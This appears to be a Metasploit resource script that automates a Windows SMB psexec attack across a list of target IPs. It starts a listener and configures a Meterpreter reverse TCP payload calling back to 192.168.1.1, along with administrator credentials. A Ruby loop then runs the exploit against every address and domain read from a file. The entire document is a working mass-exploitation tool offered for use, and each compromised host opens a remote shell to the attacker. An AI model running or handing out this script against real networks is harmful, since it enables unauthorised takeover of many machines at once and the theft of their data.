do some exploit repeatedly
# This is really a .rc file, but to get pretty colors, we're calling it a .rb file
#
# setup handler
#
use multi/handler
set LPORT 8080
set ExitOnSession false
exploit -j
#
# prep exploit
#
use windows/smb/psexec
set PAYLOAD windows/meterpreter/reverse_tcp
set DisablePayloadHandler true
set LPORT 8080
set LHOST 192.168.1.1
set SMBUser administrator
set SMBPass lab
# set SMBDomain -- let's assume the Domains are different, we'll them in our file
#
# read ip list then loop and run exploit on each
#
<ruby>
# readlines will read the file into an array w/default line sep as the delim
# readlines will also automatically close the File handle, so nothing to cleanup later
line_array = File.readlines("/path/to/iplist.txt", "r")
line_array.each do |line|
ip, domain = line.split(',')
run_single("set RHOST #{ip}")
run_single("set SMBDomain #{domain}") if domain
run_single("exploit -z")
# in case the next iteration doesn't have a domain listed
run_single("unset SMBDomain")
end
</ruby>